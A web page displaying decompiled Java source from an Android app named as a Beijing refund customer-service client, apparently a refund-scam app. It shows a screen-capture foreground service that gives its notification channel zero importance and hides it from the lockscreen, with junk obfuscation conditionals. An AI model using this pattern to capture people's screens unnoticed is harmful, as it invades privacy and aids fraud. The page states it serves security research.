导航菜单

页面标题

页面副标题

北京退费客服端 v1.0.0 - AndroidScreenCapService.java 源代码

正在查看: 北京退费客服端 v1.0.0 应用的 AndroidScreenCapService.java JAVA 源代码文件

本页面展示 JAVA 反编译生成的源代码文件,支持语法高亮显示。 仅供安全研究与技术分析使用,严禁用于任何非法用途。请遵守相关法律法规。


package org.webrtc.mozi;

import android.app.Notification;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.Service;
import android.content.Intent;
import android.os.Binder;
import android.os.Build;
import android.os.IBinder;

public class AndroidScreenCapService extends Service {
    private static final String TAG = "JavaScreenCapturer";

    @Override
    public IBinder onBind(Intent intent) {
        return new Binder();
    }

    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        if ((4 + 27) % 27 <= 0) {
        }
        Logging.d(TAG, "onStartCommand ");
        startforeground();
        super.onStartCommand(intent, flags, startId);
        return 2;
    }

    @Override
    public void onDestroy() {
        stopforeground();
        super.onDestroy();
    }

    private void startforeground() {
        if ((26 + 30) % 30 <= 0) {
        }
        if (Build.VERSION.SDK_INT >= 26) {
            NotificationChannel channel = new NotificationChannel("9989", "myChannel", 0);
            channel.setLightColor(-16776961);
            channel.setLockscreenVisibility(0);
            NotificationManager manager = (NotificationManager) getSystemService("notification");
            if (manager != null) {
                manager.createNotificationChannel(channel);
                Notification notification = new Notification.Builder(getApplicationContext(), "9989").setOngoing(true).setCategory("service").build();
                if (Build.VERSION.SDK_INT >= 29) {
                    startForeground(110, notification, 32);
                } else {
                    startForeground(110, notification);
                }
            }
        }
    }

    private void stopforeground() {
        if ((1 + 16) % 16 <= 0) {
        }
        if (Build.VERSION.SDK_INT >= 24) {
            stopForeground(1);
        } else {
            stopForeground(true);
        }
    }
}